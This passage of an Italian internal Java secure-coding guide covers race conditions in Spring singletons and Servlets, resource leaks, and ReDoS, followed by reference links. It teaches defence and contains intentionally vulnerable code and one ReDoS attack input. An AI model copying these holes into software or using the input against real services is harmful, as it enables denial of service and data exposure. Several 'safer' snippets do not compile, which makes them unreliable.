- esecuzione atomica di istruzioni, per evitare letture e scritture di dati sui registri della cpu che ne minino la consistenza;
- starvation, tradotto come inedia (mancanza di cibo), è quella condizione nella quale un processo pronto all'esecuzione non ottiene mai le risorse hardware e software necessarie, finendo per non essere più eseguito;
- lock e sincronizzazione, per gestire deterministicamente l'accesso concorrenziale alle risorse del sistema;
- consistenza dei dati, come risultato di una corretta implementazione della logica di programmazione con i Thread.

11.1 Concorrenza in Java

In ottica di gestire quelle che sono le difficoltà e le peculiarità della programmazione asincrona, il linguaggio mette a disposizione la classe Thread per controllare direttamente la creazione e la gestione, per l'appunto, dei Thread. È quindi possibile sfruttarne le funzionalità tramite:

- l'estensione della classe Thread, grazie al principio di ereditarietà;
- l'implementazione dell'interfaccia Runnable.

Si rimanda alla lettura della guida messa a disposizione da Oracle, il cui link è in coda al capitolo.

11.2 Spring MVC e singleton: Java Beans

In Spring, gli oggetti che costituiscono la spina dorsale dell'applicazione sono i bean. Spring implementa il principio dell'Inversione del controllo (IoC) attraverso il contenitore IoC. È responsabile dell'iniezione delle dipendenze del bean definite attraverso gli argomenti del costruttore di questo, gli argomenti di un metodo di fabbrica o le proprietà impostate sull'istanza dell'oggetto dopo che è stato costruito o restituito da un metodo di fabbrica, implementando il Dependency Injection Pattern.

Ogni bean ha un ambito che determina l'istanziazione effettiva della classe definita da quella definizione di bean. L'ambito predefinito del bean è singleton, il che significa che il bean è istanziato una sola volta e accessibile globalmente nell'applicazione. Per progettazione, un bean con questo scope non è thread-safe e quindi potrebbe essere vulnerabile alle race conditions.

Esempio: Il seguente bean è dichiarato (implicitamente) con lo scope singleton. Quando si invoca simultaneamente il metodo consumeGas(), è possibile che si verifichi una race condition, che può portare a comportamenti imprevisti e pericolosi, come l'impostazione della proprietà fuel a un valore negativo.

```
@Component
public class Car {
    int fuel = 100;
    protected void consumeGas(){
        if (this.fuel > 0) {
            this.fuel -= 10;
        }
    }
}
```

Pe risolvere la problematica ed evitare perdite delle proprietà di Integrità e Confidenzialità dei dati, se non è necessario, utilizzare un diverso scope del bean come prototype o, per le applicazioni spring web-aware, request o session.

Quando invece l'unica implementazione possibile è che si tratti di un singleton, è necessario progettare il bean in modo che sia thread-safe, ad esempio:

- Progettarlo in modo che sia immutabile
- Progettandolo come stateless
- Implementare meccanismi di blocco

Nell'esempio seguente, lo scope del bean Car è legato al ciclo di vita di una sessione HTTP.

```
@Scope("session")
public class Car {
 ...
}
```

11.3 Java Servlet

I campi membri delle Servlet possono consentire a un utente di vedere i dati di un altro utente, essendo questo un singleton. Esiste una sola istanza della Servlet, che viene utilizzata e riutilizzata per gestire più richieste elaborate contemporaneamente da diversi thread.

Un risultato comune di questa incomprensione è che gli sviluppatori utilizzano i campi membri della Servlet in modo tale che un utente possa inavvertitamente vedere i dati di un altro utente. In altre parole, la memorizzazione dei dati dell'utente nei campi membri del Servlet introduce una condizione di gara per l'accesso ai dati.

Esempio: La Servlet seguente memorizza il valore di un parametro della richiesta in un campo membro e poi fa eco al valore del parametro nel flusso di output della risposta.

```
public class GuestBook extends HttpServlet {
    String name;
    protected void doPost (HttpServletRequest req, HttpServletResponse res) {
        name = req.getParameter("name");
        ...
       out.println(name + ", thanks for visiting!");
    }
}
```

Per evitare di incorrere in questa problematica, non utilizzare i campi del Servlet se non per definire delle costanti (cioè rendere tutti i campi static final).

Si è spesso tentati di usare i campi della Servlet quando si ha bisogno di trasportare i dati dell'utente da una regione di codice a un'altra. Se questo è l'obiettivo, si deve considerare la possibilità di dichiarare una classe separata e di usare il Servlet solo come wrapper di questa nuova classe.

```
public class GuestBook extends HttpServlet {
    protected void doPost (HttpServletRequest req, HttpServletResponse res) {
        GBRequestHandler handler = new GBRequestHandler();
        handler.handle(req, res);
    }
}
public class GBRequestHandler {
    String name;
    public void handle(HttpServletRequest req, HttpServletResponse res) {
        name = req.getParameter("name");
        ...
        out.println(name + ", thanks for visiting!");
    }
}
```

12 DENIAL OF SERVICE

Un sistema dispone di risorse limitate, per quanto queste possano essere numerose. Con il termine risorsa si intendono tutti quegli asset software ed hardware che permettono il funzionamento dell'applicativo, direttamente ed indirettamente, come file, socket, database etc. Se queste non vengono gestite correttamente (ad esempio non vengono deallocate dopo il loro utilizzo) possono nel tempo ridursi sempre di più fino a terminare. Un sistema senza risorse libere è un sistema che non può più prendere in carico nuove richieste, finendo in uno stato di Denial of Service (DoS).

12.1 Saturazione delle risorse

Quando un programma o un'applicazione non dealloca correttamente le risorse di sistema come la memoria o gli handle dei file dopo che non sono più necessari, possono verificarsi varie vulnerabilità. Ciò può infatti causare l'esaurimento delle risorse di sistema, con conseguenti problemi di prestazioni e possibili arresti anomali. Può anche lasciare il sistema aperto ad attacchi che sfruttano queste risorse.

La maggior parte delle problematiche legate al loro mancato rilascio si traduce in problemi generali di affidabilità del software. Di conseguenza, è essenziale liberare gli asset di sistema per evitare potenziali perdite di memoria e Denial of Services dovuti alla loro saturazione.

In condizioni normali, si può fare affidamento sul Garbage Collector per rilasciare gli oggetti che non utilizzano risorse di sistema. Tuttavia, se questi utilizzano risorse di sistema scarse e non gestite, il Garbage Collector potrebbe non riuscire a deallocarli concretamente prima che il pool di risorse non gestite sia esaurito. È quindi necessario chiuderli in maniera adeguatamente robusta.

12.1.1 Socket di rete

In condizioni normali, il codice seguente chiude correttamente il socket e tutti i flussi associati. Tuttavia, se si verifica un'eccezione durante la lettura dell'input o la scrittura dei dati, l'oggetto socket non viene chiuso. Se questo accade abbastanza spesso, il sistema esaurirà i socket e non sarà in grado di gestire altre connessioni.

```
private void echoSocket(String host, int port) throws UnknownHostException, SocketException, IOException {
    Socket sock = new Socket(host, port);
    BufferedReader reader = new BufferedReader(new InputStreamReader(sock.getInputStream()));
    while ((String socketData = reader.readLine()) != null) {
        System.out.println(socketData);
    }
    sock.close();
}
```

Questa implementazione più sicura gestisce la chiusura dell'oggetto Socket nel blocco finally, che viene eseguito al termine dell'esecuzione delle istruzioni nel blocco try oppure quando un'eccezione viene lanciata, di modo da liberare in ogni caso le risorse occupate.

```
private void echoSocket(String host, int port) throws UnknownHostException, SocketException, IOException {
    Socket sock;
    BufferedReader reader;
    try {
        sock = new Socket(host, port);
        reader = new BufferedReader(new InputStreamReader(sock.getInputStream()));
        while ((String socketData = reader.readLine()) != null) {
            System.out.println(socketData);
        }
    } finally {
        safeClose(sock);
    }
}

public static void safeClose(Socket s) {
    if (s != null && !s.isClosed()) {
        try {
            s.close();
        } catch (IOException e) {
            log(e);
        }
    }
}
```

12.1.2 Stream

In condizioni normali, il codice seguente chiude l'oggetto FileInputStream. Tuttavia, se si verifica un'eccezione durante il flusso di esecuzione, l'oggetto fis non viene chiuso. Questo può portare ad un leak di dati e risorse.

```
private void processFile(String fName) throws FileNotFoundException, IOException {
    FileInputStream fis = new FileInputStream(fName);
    int sz;
    byte[] byteArray = new byte[BLOCK_SIZE];
    while ((sz = fis.read(byteArray)) != -1) {
        processBytes(byteArray, sz);
    }
    fis.finalize()
}
```

Questa implementazione più sicura gestisce la chiusura dell'oggetto FileInputStream nel blocco finally, che viene eseguito al termine dell'esecuzione delle istruzioni nel blocco try oppure quando un'eccezione viene lanciata, di modo da liberare in ogni caso le risorse occupate.

```
public void processFile(String fName) throws FileNotFoundException, IOException {
    FileInputStream fis;
    try {
        fis = new FileInputStream(fName);
        int sz;
        byte[] byteArray = new byte[BLOCK_SIZE];
        while ((sz = fis.read(byteArray)) != -1) {
            processBytes(byteArray, sz);
        }
    } finally {
        if (fis != null) {
        safeClose(fis);
        }
    }
}

public static void safeClose(FileInputStream fis) {
 if (fis != null) {
  try {
   fis.close();
  } catch (IOException e) {
   log(e);
  }
 }
}
```

Nota: il metodo **finalize**(), oltre ad essere deprecato, chiama il metodo close() una volta che non sono più presenti riferimenti alla risorsa su cui viene eseguito, ma non è garantito che questa venga effettivamente liberata. In un ambiente molto trafficato, questo può portare la JVM a consumare tutti i suoi file handle.

12.1.3 Database

In condizioni normali, il seguente codice esegue una query sul database, ne processa il risultato e chiude l'oggetto stmt. Tuttavia, se un'eccezione avviene durante l'esecuzione del flusso del codice, l'oggetto non verrà correttamente deallocato. Se questa condizione si verifica più e più volte, il database verosimilmente saturerà man mano le proprie risorse fino a terminare lo spazio dedicato alle connessioni in entrata, e non sarà più in grado di gestire nuove query.

```
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(CXN_SQL);
harvestResults(rs);
stmt.close();
```

Questa implementazione più sicura gestisce la chiusura dell'oggetto Statement nel blocco finally, che viene eseguito al termine dell'esecuzione delle istruzioni nel blocco try oppure quando un'eccezione viene lanciata, di modo da liberare in ogni caso le risorse occupate.

```
public void execCxnSql(Connection conn) {
    Statement stmt;
    try {
        stmt = conn.createStatement();
        ResultSet rs = stmt.executeQuery(CXN_SQL);
        ...
    } finally {
        if (stmt != null) {
            safeClose(stmt);
        }
    }
}

public static void safeClose(Statement stmt) {
    if (stmt != null) {
        try {
            stmt.close();
        } catch (SQLException e) {
            log(e);
        }
    }
}
```

12.1.4 File

In condizioni normali, il codice seguente chiude correttamente l'handle del file dopo aver estratto il contenuto del file zip. Tuttavia, se si verifica un'eccezione durante l'iterazione delle voci, l'handle del file zip non viene chiuso. Se ciò accade abbastanza spesso, la JVM può esaurire gli handle di file disponibili.

```
public static void unzipFolder(String directory, String zipPath) throws IOException {
    ZipFile zip = new ZipFile(new File(zipPath));

    (new File(directory)).mkdir();
    Enumeration<? extends ZipEntry> zipFileEntries = zip.entries();

    while (zipFileEntries.hasMoreElements()) {
        // unzipping algorithm
    }
    zip.close();
}
```

Questa implementazione più sicura gestisce la chiusura dell'oggetto ZipFile nel blocco finally, che viene eseguito al termine dell'esecuzione delle istruzioni nel blocco try oppure quando un'eccezione viene lanciata, di modo da liberare in ogni caso le risorse occupate.

```
public static void unzipFolder(String directory, String zipPath) throws IOException {
    try {
       ZipFile zip = new ZipFile(new File(zipPath));

       (new File(directory)).mkdir();
        Enumeration<? extends ZipEntry> zipFileEntries = zip.entries();

       while (zipFileEntries.hasMoreElements()) {
           // unzipping algorithm
        }
   } finally {
        if(zip != null) { ZipSafeClose(zip); }
   }
}

public static void ZipSafeClose(ZipFile zf) {
    if (zf != null) {
        try {
           zf.close();
        } catch (IOException e) {
           log(e);
        }
    }
}
```

12.1.5 Regular Expression Denial of Service - ReDoS

ReDoS, o Denial of Service tramite espressioni regolari, è un tipo di attacco che sfrutta il fatto che la maggior parte delle implementazioni di espressioni regolari possono raggiungere situazioni estreme che le fanno lavorare molto lentamente, in relazione esponenziale alla dimensione dell'input. Un attaccante può quindi causare un rallentamento o addirittura un blocco dell'applicazione fornendo un'espressione regolare che richiede molto tempo per essere valutata.

Le versioni di Java precedenti alla 9 sono vulnerabili agli attacchi ReDoS. Tuttavia, a partire dalla versione 9, Java ha introdotto delle migliorie nel suo motore di espressioni regolari che rendono meno probabili gli attacchi ReDoS. Nonostante queste migliorie, Java 9 e le versioni successive rimangono comunque vulnerabili a ReDoS, ma richiedono pattern più complessi rispetto a (a|aa)+.

Un esempio di attacco ReDoS in Java potrebbe essere il seguente:

```
Pattern.compile("\s+$").matcher('\t'.repeat(54773) + "\x00\t").matches();
```

In questo caso, l'input '\t'.repeat(54773) + "\x00\t" corrisponde al pattern dell'espressione regolare \s+$, causando però un rallentamento significativo del motore di espressioni regolari, dovuto al fatto che il match viene eseguito con complessità polinomiale partendo dalla fine della stringa.

La maggior parte dei motori di espressioni regolari utilizza il backtracking per provare tutti i possibili percorsi di esecuzione dell'espressione regolare durante la valutazione di un input, ma in alcuni casi può causare problemi di prestazioni, chiamati situazioni di backtracking catastrofico. Nel caso peggiore, la complessità dell'espressione regolare è esponenziale rispetto alla dimensione dell'input, il che significa che un piccolo input accuratamente creato (come 20 caratteri) può innescare un backtracking catastrofico e causare un denial of service dell'applicazione.

Per prevenire gli attacchi ReDoS, è importante seguire delle buone pratiche nella definizione dei pattern delle espressioni regolari. Ad esempio, si dovrebbe evitare l'uso di gruppi con ripetizione all'interno dei quali ci sono altre ripetizioni o alternanze con sovrapposizioni.

Inoltre, è possibile utilizzare strumenti di analisi statica del codice per rilevare automaticamente le vulnerabilità ReDoS nel codice. Tuttavia, la correzione di queste vulnerabilità è ancora un processo manuale e può richiedere di modificare uno o più caratteri nell'espressione regolare.

13 Link utili

- **Accessibilità e visibilità**
  - Secure Coding Guidelines for Java SE (oracle.com) (Capitolo 4)
  - Controlling Access to Members of a Class (The Java™ Tutorials > Learning the Java Language > Classes and Objects) (oracle.com)
- **Metodo Costruttore**
  - Secure Coding Guidelines for Java SE (oracle.com) (Capitolo 7)
- **Metodi "Static Factory"**
  - Java Constructors vs Static Factory Methods | Baeldung

- **Access Control in Java**
  - Secure Coding Guidelines for Java SE (oracle.com) (Capitolo 9)
  - JEP 411: Deprecate the Security Manager for Removal (openjdk.org)
  - A01 Broken Access Control - OWASP Top 10:2021
- **Role-Based Access Control in Spring-Security**
  - Spring Security – Roles and Privileges | Baeldung
  - Spring Security: Check If a User Has a Role in Java | Baeldung
- **Cross-Site Request Forgery**

A Guide to CSRF Protection in Spring Security | Baeldung

- **Validazione e sanitizzazione dell'input**
  - Secure Coding Guidelines for Java SE (oracle.com) (Capitolo 5)
  - Input Validation – OWASP Cheat Sheet Series
  - OWASP Enterprise Security API (ESAPI) | OWASP Foundation
  - jsoup: Java HTML parser, built for HTML editing, cleaning, scraping, and XSS safety
- **Attacchi alla deserializzazione**
  - Secure Coding Guidelines for Java SE (oracle.com) (Capitolo 8)
  - Deserialization - OWASP Cheat Sheet Series

Deserialization Vulnerabilities in Java | Baeldung

- **Injection**
  - Secure Coding Guidelines for Java SE (oracle.com) (Capitolo 3)
  - Java Security – OWASP Cheat Sheet Series
- **Cross-Site Scripting**
  - Ensure CSP is effective against XSS attacks | Lighthouse | Chrome for Developers
  - Content Security Policy with Spring Security | Baeldung
  - OWASP Java Encoder | OWASP Foundation
  - Cross Site Scripting Prevention – OWASP Cheat Sheet Series
- **XML Injection**
  - XML External Entity Prevention - OWASP Cheat Sheet Series

- **SQL Injection**
  - Java Security – OWASP Cheat Sheet Series
- **Mass Assignment**
  - Mass Assignment – OWASP Cheat Sheet Series
- **Algoritmi crittografici deboli o assenti**
  - Java Security - OWASP Cheat Sheet Series
  - Secrets Management - OWASP Cheat Sheet Series

Java AES Encryption and Decryption | Baeldung

- **Misconfigurations**
  - A05 Security Misconfiguration - OWASP Top 10:2021
- **Stampa della stack trace**
  - Printing Event Stack Trace (oracle.com)
- **Configurazione errata dei cookie**
  - Secure Cookie Attribute | OWASP Foundation
  - WSTG - Latest | OWASP Foundation
  - A Guide to HTTP Cookies in Java Baeldung
- **Logging & Monitoring**
  - Structured Logging in Java | Baeldung
- **Informazioni sensibili nei log**
  - Logging - OWASP Cheat Sheet Series
  - OWASP Developer Guide | Implement Security Logging and Monitoring Checklist | OWASP Foundation
- **Log4Shell**
  - NVD - CVE-2021-44228 (nist.gov)
- **Mancata validazione o sanitizzazione dei log**
  - Java Security - OWASP Cheat Sheet Series
- **Mutabilità**
  - Secure Coding Guidelines for Java SE (oracle.com) (Capitolo 6)
  - Mutable vs. Immutable Objects in Java | Baeldung
- **Informazioni Confidenziali**
  - Secure Coding Guidelines for Java SE (oracle.com) (Capitolo 2)
- **Credenziali Hardcoded**
  - Secrets Management – OWASP Cheat Sheet Series
  - Password Storage – OWASP Cheat Sheet Series
- **Oggetti per la gestione delle credenziali**
  - Use char[] Array Over a String for Manipulating Passwords in Java? | Baeldung
- **Concorrenza in Java**
  - Lesson: Concurrency (The Java™ Tutorials > Essential Java Classes) (oracle.com)
- **Spring MVC e singleton: Java Beans**
  - Bean Scopes :: Spring Framework
- **Java Servlet**

Servlet (Java™ EE 7 Specification APIs) (oracle.com)

- **Denial of Service**
  - Secure Coding Guidelines for Java SE (oracle.com) (Capitolo 1)
- **Saturazione delle risorse**
  - Unreleased Resource | OWASP Foundation
- **Regex DoS (ReDos)**
  - Regular expression Denial of Service - ReDoS | OWASP Foundation

14 REFERENZE

Referenza	URL
Security Developer's Guide (oracle.com) Java 11	security-developer-guide.pdf
Security Developer's Guide (oracle.com) Java 17	security-developer-guide.pdf
Security Developer's Guide (oracle.com) Java 21	security-developer-guide.pdf

Italgas S.p.A - Informazioni Interne